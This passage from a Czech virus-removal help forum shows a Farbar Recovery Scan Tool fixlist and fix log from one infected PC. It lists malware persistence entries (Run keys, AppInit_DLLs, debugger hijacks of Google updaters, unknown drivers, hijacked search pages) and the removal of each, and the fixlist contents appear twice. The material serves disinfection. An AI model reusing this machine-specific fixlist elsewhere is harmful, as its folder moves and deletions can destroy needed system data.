FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [No File]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff => not found
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
U2 glory; no ImagePath
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
C:\ProgramData\AppmallosayoVs
C:\ProgramData\AppmallosayoV
C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
C:\Windows\System32\Tasks\eStark
C:\Program Files (x86)\UCBrowser
C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
C:\Program Files (x86)\u1f3jffxnwl
EmptyTemp:
End
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Fix result of Farbar Recovery Scan Tool (x64) Version:05-03-2016 01
Ran by Uzivatel (2017-07-04 20:56:21) Run:4
Running from C:\Users\Uzivatel\Desktop
Loaded Profiles: Uzivatel & DefaultAppPool (Available Profiles: Uzivatel & DefaultAppPool)
Boot Mode: Normal
==============================================
fixlist content:
*****************
Start
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
C:\Windows\Temp
C:\Program Files\FNJLTCS41J
C:\Program Files\SWG63XXW0V
C:\Program Files\G05HC4PZV0
C:\Program Files\I59ZA8EZ7K
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
GroupPolicy: Restriction - Chrome <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&t ... 1837918379
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gc ... PN11459&q=
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll [No File]
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll [No File]
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll [No File]
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [No File]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff => not found
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
U2 glory; no ImagePath
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
C:\ProgramData\AppmallosayoVs
C:\ProgramData\AppmallosayoV
C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
C:\Windows\System32\Tasks\eStark
C:\Program Files (x86)\UCBrowser
C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
C:\Program Files (x86)\u1f3jffxnwl
EmptyTemp:
End
*****************
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\SunJavaUpdateSched => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\QKRPRNSOSV.exe => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\7FM3ZXLNA1ZP1PG => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\6VPXZBGTWPME1EW => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\5Q7U43XKBO736KK => value not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run\\G9CQIRQT0759DOK => value not found.
"C:\Windows\Temp" folder move:
Could not move "C:\Windows\Temp" => Scheduled to move on reboot.
"C:\Program Files\FNJLTCS41J" => not found.
"C:\Program Files\SWG63XXW0V" => not found.
"C:\Program Files\G05HC4PZV0" => not found.
"C:\Program Files\I59ZA8EZ7K" => not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} => key not found.
HKCR\CLSID\{a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} => key not found.
"C:\ProgramData\AppmallosayoV\Voltdax.dll" => Value data not found.
"C:\ProgramData\AppmallosayoV\Grave-Fan.dll" => Value data not found.
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdate.exe => key not found.
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\GoogleUpdaterService.exe => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive1 => key not found.
HKCR\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A} => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive2 => key not found.
HKCR\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => key not found.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive3 => key not found.
HKCR\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive1 => key not found.
HKCR\Wow6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive2 => key not found.
HKCR\Wow6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => key not found.
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ SkyDrive3 => key not found.
HKCR\Wow6432Node\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524} => key not found.
"C:\Windows\system32\GroupPolicy\Machine" => not found.
HKLM\Software\\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKLM\Software\\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Search Page => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Default_Page_URL => value restored successfully
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main\\Default_Search_URL => value restored successfully
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value restored successfully
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKCR\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => value restored successfully
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKCR\Wow6432Node\CLSID\{33BB0A4E-99AF-4226-BDF6-49120163DE86} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\Wow6432Node\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2D149E15-BBAA-435b-A98D-BBC53B907C7B} => key not found.
HKCR\CLSID\{2D149E15-BBAA-435b-A98D-BBC53B907C7B} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{80c554b9-c7f8-4a21-9471-06d606da78a2} => key not found.
HKCR\CLSID\{80c554b9-c7f8-4a21-9471-06d606da78a2} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKCR\CLSID\{9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{A4ACD589-7C3E-4213-BD4A-D721BBD2087F} => key not found.
HKCR\CLSID\{A4ACD589-7C3E-4213-BD4A-D721BBD2087F} => key not found.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{DBC80044-A445-435b-BC74-9C25C1C588A9} => key not found.
HKCR\CLSID\{DBC80044-A445-435b-BC74-9C25C1C588A9} => key not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} => key not found.
HKCR\Wow6432Node\CLSID\{4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} => key not found.
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{88C7F2AA-F93F-432C-8F0E-B7D85967A527} => value not found.
HKCR\CLSID\{88C7F2AA-F93F-432C-8F0E-B7D85967A527} => key not found.
HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command\\Default => value restored successfully
Firefox "newtab" removed successfully
FF DefaultSearchEngine: youndoo => not found
FF SearchEngineOrder.1: Ask.com => not found
FF SelectedSearchEngine: youndoo => not found
Firefox "homepage" removed successfully
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gc ... PN11459&q= => not found
HKLM\Software\Wow6432Node\MozillaPlugins\@esn.me/esnsonar,version=0.70.0 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@esn/esnlaunch,version=2.1.7 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@esn/npbattlelog,version=2.4.0 => key not found.
HKLM\Software\Wow6432Node\MozillaPlugins\@microsoft.com/GENUINE => key not found.
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\MozillaPlugins\@lightspark.github.com/Lightspark;version=1 => key not found.
C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll => not found.
HKLM\Software\Mozilla\Thunderbird\Extensions\\eplgTb@eset.com => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\iey.eaea@ilaiya.edu => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\{ABDE892B-13A8-4d1b-88E6-365A6E755758} => value not found.
HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\ext@flashenhancer.com => value not found.
ATICDSDr => service not found.
eddcraht => service not found.
glory => service not found.
LVPr2M64 => service not found.
LVRS64 => service not found.
LVUVC64 => service not found.
lwedyski => service not found.
mewhqimk => service not found.
prodrv06 => service not found.
qvpajadl => service not found.
snare => service not found.
"C:\ProgramData\AppmallosayoVs" => not found.
"C:\ProgramData\AppmallosayoV" folder move:
Could not move "C:\ProgramData\AppmallosayoV" => Scheduled to move on reboot.
"C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz" => not found.
"C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84" => not found.
"C:\Windows\System32\Tasks\eStark" => not found.
"C:\Program Files (x86)\UCBrowser" => not found.
"C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq" => not found.
"C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0" => not found.
"C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i" => not found.
"C:\Program Files (x86)\u1f3jffxnwl" => not found.
EmptyTemp: => 847.8 MB temporary data Removed.
Result of scheduled files to move (Boot Mode: Normal) (Date&Time: 2017-07-04 21:02:15)
"C:\Windows\Temp" => Could not move
C:\ProgramData\AppmallosayoV => Is moved successfully
==== End of Fixlog 21:02:19 ====
Ran by Uzivatel (2017-07-04 20:56:21) Run:4
Running from C:\Users\Uzivatel\Desktop
Loaded Profiles: Uzivatel & DefaultAppPool (Available Profiles: Uzivatel & DefaultAppPool)
Boot Mode: Normal
==============================================
fixlist content:
*****************
Start
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
C:\Windows\Temp
C:\Program Files\FNJLTCS41J
C:\Program Files\SWG63XXW0V
C:\Program Files\G05HC4PZV0
C:\Program Files\I59ZA8EZ7K
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellIconOverlayIdentifiers: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive1] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive2] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: [ SkyDrive3] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
GroupPolicy: Restriction - Chrome <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&t ... 1837918379
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?ty ... 7918379&q={searchTerms}
SearchScopes: HKLM-x32 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gc ... nrs=AG1&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2179928940-599623959-1496544258-1002 -> {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll => No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
Toolbar: HKU\.DEFAULT -> No Name - {88C7F2AA-F93F-432C-8F0E-B7D85967A527} - No File
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&t ... 1837918379
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
